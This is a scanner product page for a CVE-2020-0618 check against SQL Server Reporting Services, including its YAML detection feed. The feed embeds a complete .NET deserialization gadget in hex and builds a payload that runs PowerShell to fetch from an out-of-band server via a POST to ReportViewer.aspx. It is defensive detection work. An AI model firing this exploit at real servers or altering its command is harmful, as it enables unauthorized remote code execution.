Microsoft SQL Server Reporting Services — 1 vulnerability check

noctis ships 1 vulnerability check for Microsoft SQL Server Reporting Services, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Microsoft SQL Server Reporting Services ReportViewer ViewState deserialization RCE

CVECVE-2020-0618
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/microsoft-ssrs/CVE-2020-0618.yaml

Detects the SSRS ReportViewer.aspx NavigationCorrector unsigned-ViewState .NET deserialization RCE (CVE-2020-0618). With OOB configured it performs real, benign exploitation: a TypeConfuseDelegate LosFormatter gadget whose only effect is one outbound HTTP GET (PowerShell WebClient) to the noctis OOB server, confirmed by the callback (QoD 97). Without OOB (or without a callback) it falls back to the /ReportServer version footer, reported only for builds below the fix of their servicing branch (QoD 70). Uses the scan credentials as HTTP Basic when supplied, anonymous otherwise; NTLM-only servers are not reachable.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /ReportServer/
  3. Checks fp_resp.body for SQL Server Reporting Services
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST /ReportServer/Pages/ReportViewer.aspx with a crafted body
  7. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: SSRS ReportViewer ViewState deserialization RCE confirmed via OOB (CVE-2020-0618)
  8. Checks fp_resp.body for Reporting Services Version [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+ → finding QoD 70: SQL Server Reporting Services build vulnerable to CVE-2020-0618

References:

Feed source — tests/vulnerabilities/microsoft-ssrs/CVE-2020-0618.yaml
# Microsoft SQL Server Reporting Services (SSRS) — ReportViewer.aspx
# NavigationCorrector ViewState .NET deserialization RCE (CVE-2020-0618, CISA KEV).
#
# The bug: Microsoft.Reporting.WebForms.BrowserNavigationCorrector deserializes
# the POST field `NavigationCorrector$ViewState` with an UNSIGNED LosFormatter
# whenever `NavigationCorrector$PageState=NeedsCorrection` — no ViewState MAC.
# Any user who can reach /ReportServer/Pages/ReportViewer.aspx can therefore
# feed it an arbitrary .NET BinaryFormatter gadget (MDSec / Soroush Dalili).
# Fixed in SSRS 2012 SP4 11.0.7462.6, 2014 SP3 12.0.6118.4 (GDR) / 12.0.6372.1
# (CU4), 2016 SP2 13.0.5102.14 (GDR) / 13.0.5622.0 (CU11). SSRS 2017+ is not
# affected.
#
# ── Authentication ──────────────────────────────────────────────────────────
#   SSRS normally sits behind Windows authentication. The feed sends the scan
#   request's credentials as HTTP Basic (rsreportserver.config
#   <RSWindowsBasic/>) when `credentials` carries a username + password, and
#   goes anonymous otherwise (custom/anonymous auth extensions). A server that
#   only offers NTLM/Negotiate answers 401 to both — no finding (noctis has no
#   NTLM client yet). The Authorization header is injected through a templated
#   header NAME so the same steps serve both cases (anonymous runs send a
#   harmless `X-Noctis-Scan` header instead).
#
# ── Two detection methods, highest QoD wins ─────────────────────────────────
#
#   Method 1 — REAL exploitation (QoD 97, OOB-confirmed) ─────────────────────
#     The genuine CVE-2020-0618 vector: POST a LosFormatter-wrapped .NET
#     BinaryFormatter TypeConfuseDelegate gadget (SortedSet<string> +
#     ComparisonComparer whose delegate is Process.Start(string, string), as in
#     ysoserial.net / Metasploit) in NavigationCorrector$ViewState. The gadget
#     runs `cmd /c powershell ... DownloadString('<oob url>')` — ONE outbound
#     HTTP GET to the noctis OOB server and nothing else: no file write, no
#     persistence, no exfiltration. `wait_oob` confirms the deserialization
#     sink executed our payload. Guarded by `condition: "oob_enabled"`.
#
#     The gadget is assembled at scan time (`build-gadget`): a fixed MS-NRBF
#     skeleton split around the only variable field, the `/c <cmd>` string
#     (first member of the ArraySingleString, object id 6). gadget_prefix_hex
#     ends right before that string's 7-bit length prefix; gadget_suffix_hex
#     starts at the `cmd` string record (object id 7). The script recomputes
#     the string's 7-bit length and the LosFormatter header
#     (0xFF 0x01 0x32 + 7-bit stream length), then base64 + form-encodes it.
#
#   Method 2 — version fingerprint (QoD 70, no OOB / no callback) ────────────
#     The /ReportServer folder page footer advertises
#     "Microsoft SQL Server Reporting Services Version <build>". Reported only
#     for builds below the fix level of their servicing branch (GDR and CU
#     ranges handled separately; pre-latest-SP builds have no fix). Inert: a
#     single GET.
#
# Better than the Nuclei template (which only GETs ReportViewer.aspx and
# matches a 200 — any SSRS, patched or not) and than a pure version check:
# the OOB path proves the unsigned-ViewState sink really executes.
#
# Known scope limits:
#   - Default instance only: this probes /ReportServer/. A NAMED SSRS instance
#     lives under /ReportServer_<INSTANCE>/ and is not seen here.
#   - The version branches cover the still-serviced families (2012/2014/2016);
#     SSRS 2008 / 2008 R2 (out of support, same flaw, no fix) are deliberately
#     NOT flagged by build number — run with --oob to confirm them by exploit.
#   - The OOB command is `powershell … Net.WebClient.DownloadString(<oob>)`:
#     one GET, nothing executed (no IEX), but EDR may still alert on the shape.
#
# References:
#   - https://nvd.nist.gov/vuln/detail/CVE-2020-0618
#   - https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
#   - https://www.rapid7.com/db/modules/exploit/windows/http/ssrs_navcorrector_viewstate/
#   - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0618
uid: 3a787f7c-dd27-4802-96c5-76548324adcb
name: "Microsoft SQL Server Reporting Services ReportViewer ViewState deserialization RCE (CVE-2020-0618)"
description: |
  Detects the SSRS ReportViewer.aspx NavigationCorrector unsigned-ViewState
  .NET deserialization RCE (CVE-2020-0618). With OOB configured it performs
  real, benign exploitation: a TypeConfuseDelegate LosFormatter gadget whose
  only effect is one outbound HTTP GET (PowerShell WebClient) to the noctis OOB
  server, confirmed by the callback (QoD 97). Without OOB (or without a
  callback) it falls back to the /ReportServer version footer, reported only
  for builds below the fix of their servicing branch (QoD 70). Uses the scan
  credentials as HTTP Basic when supplied, anonymous otherwise; NTLM-only
  servers are not reachable.
cves: [CVE-2020-0618]
cvss: 8.8
severity: high
category: rce
confidence_base: 0.30
tags:
  - microsoft
  - sql-server
  - ssrs
  - reporting-services
  - aspnet
  - viewstate
  - deserialization
  - rce
  - oob
  - intrusive
  - kev
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-0618"
  - "https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/"
  - "https://www.rapid7.com/db/modules/exploit/windows/http/ssrs_navcorrector_viewstate/"
  - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0618"

steps:
  # Seed every var a later script assigns / a condition reads, so no condition
  # ever evaluates an undefined Rhai var (which errors and silently skips).
  - id: init-ssrs-ok
    action: set_var
    var_name: ssrs_ok
    var_value: false

  - id: init-vuln-build
    action: set_var
    var_name: is_vuln_build
    var_value: false

  - id: init-ssrs-version
    action: set_var
    var_name: ssrs_version
    var_value: ""

  - id: init-auth-name
    action: set_var
    var_name: auth_hdr_name
    var_value: "X-Noctis-Scan"

  - id: init-auth-value
    action: set_var
    var_name: auth_hdr_value
    var_value: "1"

  # Credentials supplied → HTTP Basic. The condition errors (→ false, step
  # skipped) when cred_username / cred_password are not both defined.
  - id: build-basic-auth
    action: script
    condition: "cred_enabled && strlen(cred_username) > 0 && strlen(cred_password) > 0"
    store_as: basic_auth_set
    code: |
      auth_hdr_name = "Authorization";
      auth_hdr_value = "Basic " + base64_encode(cred_username + ":" + cred_password);
      true

  # ── Fingerprint: SSRS native-mode folder page + version footer ────────────
  - id: fingerprint
    action: http_request
    method: GET
    path: "/ReportServer/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      "{{auth_hdr_name}}": "{{auth_hdr_value}}"
    store_as: fp_resp

  - id: fingerprint-match
    action: match
    source: fp_resp.body
    pattern: "SQL Server Reporting Services"
    condition: "fp_resp.status == 200"
    on_match:
      set_vars:
        ssrs_ok: true

  # Fix levels (MSRC CVE-2020-0618): 2012 SP4 11.0.7462.6; 2014 SP3 GDR
  # 12.0.6118.4 / CU4 12.0.6372.1 (SP3 CU1 = 12.0.6205); 2016 SP2 GDR
  # 13.0.5102.14 / CU11 13.0.5622.0 (SP2 CU1 = 13.0.5149). Builds before the
  # last service pack (2014 < SP3 12.0.6024, 2016 < SP2 13.0.5026, 2012 < SP4)
  # received no fix. 14.0+ (SSRS 2017 and later) is not affected.
  - id: evaluate-version
    action: script
    condition: "ssrs_ok == true"
    store_as: version_eval
    code: |
      let m = eregmatch("Reporting Services Version ([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)", fp_resp.body);
      if m.len() > 4 {
        let major = int(m[1]);
        let minor = int(m[2]);
        let build = int(m[3]);
        let rev = int(m[4]);
        ssrs_version = m[1] + "." + m[2] + "." + m[3] + "." + m[4];
        if major == 11 && minor == 0 {
          is_vuln_build = build < 7462;
        } else if major == 12 && minor == 0 {
          is_vuln_build = build < 6118 || (build >= 6205 && build < 6372);
        } else if major == 13 && minor == 0 {
          is_vuln_build = build < 5102 || (build == 5102 && rev < 14) || (build >= 5149 && build < 5622);
        }
      }
      is_vuln_build

  # ── Method 1: REAL exploitation — unsigned ViewState deserialization + OOB ─
  - id: init-gadget-prefix
    action: set_var
    var_name: gadget_prefix_hex
    var_value: "0001000000ffffffff01000000000000000c020000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390501000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e536f7274656453657460315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000005436f756e7408436f6d70617265720756657273696f6e054974656d7300030006088d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d080200000002000000090300000002000000090400000004030000008d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d010000000b5f636f6d70617269736f6e032253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c64657209050000001104000000020000000606000000"

  - id: init-gadget-suffix
    action: set_var
    var_name: gadget_suffix_hex
    var_value: "060700000003636d6404050000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572030000000844656c6567617465076d6574686f6430076d6574686f64310303033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465722f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657209080000000909000000090a00000004080000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e747279060b000000b00253797374656d2e46756e6360335b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d060c0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a060d0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839060e0000001a53797374656d2e446961676e6f73746963732e50726f63657373060f000000055374617274091000000004090000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d090f000000090d000000090e00000006140000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e672906150000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a010a00000009000000061600000007436f6d70617265090c00000006180000000d53797374656d2e537472696e6706190000002b496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729061a0000003253797374656d2e496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a011000000008000000061b0000007153797374656d2e436f6d70617269736f6e60315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d090c0000000a090c000000091800000009160000000a0b"

  - id: build-gadget
    action: script
    condition: "oob_enabled && ssrs_ok == true"
    store_as: viewstate
    code: |
      // 7-bit (LEB128) length prefix, as .NET BinaryReader/LosFormatter read it.
      // Two bytes cover < 16384; the arg (~154 B) and stream (~2.4 KB) stay well
      // under that, so no third byte is ever needed here.
      fn b7(n) {
        if n < 128 { p8(n) } else { p8((n % 128) + 128) + p8(n / 128) }
      }
      // {{oob_url}} is already http://<host>:<port>/<token>.
      let arg = "/c powershell -NoProfile -NonInteractive -Command \"(New-Object Net.WebClient).DownloadString('" + oob_url + "')\"";
      let nrbf = gadget_prefix_hex + b7(strlen(arg)) + hexstr(arg) + gadget_suffix_hex;
      let los = "ff0132" + b7(strlen(nrbf) / 2) + nrbf;
      let b64 = base64_encode_hex(los);
      b64 = str_replace(b64, "+", "%2B");
      b64 = str_replace(b64, "/", "%2F");
      str_replace(b64, "=", "%3D")

  - id: viewstate-deser
    action: http_request
    condition: "oob_enabled && ssrs_ok == true"
    method: POST
    path: "/ReportServer/Pages/ReportViewer.aspx"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      "{{auth_hdr_name}}": "{{auth_hdr_value}}"
    body: "NavigationCorrector%24PageState=NeedsCorrection&NavigationCorrector%24ViewState={{viewstate}}&__VIEWSTATE="
    store_as: deser_resp

  - id: wait-callback
    action: wait_oob
    condition: "oob_enabled && ssrs_ok == true"
    oob_timeout_secs: 20
    store_as: oob_result
    on_success:
      finding:
        title: "SSRS ReportViewer ViewState deserialization RCE confirmed via OOB (CVE-2020-0618)"
        description: "SQL Server Reporting Services deserialized an unsigned NavigationCorrector$ViewState we supplied to /ReportServer/Pages/ReportViewer.aspx and executed its .NET gadget, which made one outbound HTTP request to the noctis OOB server — confirmed remote code execution (CVE-2020-0618). The payload's only effect was that benign request."
        remediation: "Install the February 2020 SQL Server security update for your branch (2012 SP4 11.0.7462.6, 2014 SP3 12.0.6118.4 / 12.0.6372.1, 2016 SP2 13.0.5102.14 / 13.0.5622.0) or upgrade to SSRS 2017+, and restrict access to the Report Server."
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received from the SSRS ViewState deserialization payload: {{oob_result.body}}"
      stop: true

  # ── Method 2: version fingerprint (QoD 70) ─────────────────────────────────
  - id: report-version
    action: match
    source: fp_resp.body
    pattern: "Reporting Services Version [0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+"
    condition: "ssrs_ok == true && is_vuln_build == true"
    on_match:
      finding:
        title: "SQL Server Reporting Services build vulnerable to CVE-2020-0618"
        description: "The Report Server advertises a SQL Server Reporting Services build below the CVE-2020-0618 fix level for its servicing branch — exposed to the ReportViewer.aspx unsigned-ViewState deserialization RCE. Version-based; run with --oob to confirm exploitation (QoD 97)."
        remediation: "Install the February 2020 SQL Server security update for your branch (2012 SP4 11.0.7462.6, 2014 SP3 12.0.6118.4 / 12.0.6372.1, 2016 SP2 13.0.5102.14 / 13.0.5622.0) or upgrade to SSRS 2017+, and restrict access to the Report Server."
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "/ReportServer/ advertises SQL Server Reporting Services {{ssrs_version}} (below the CVE-2020-0618 fix for its branch)"
      stop: true

View these feeds on GitHub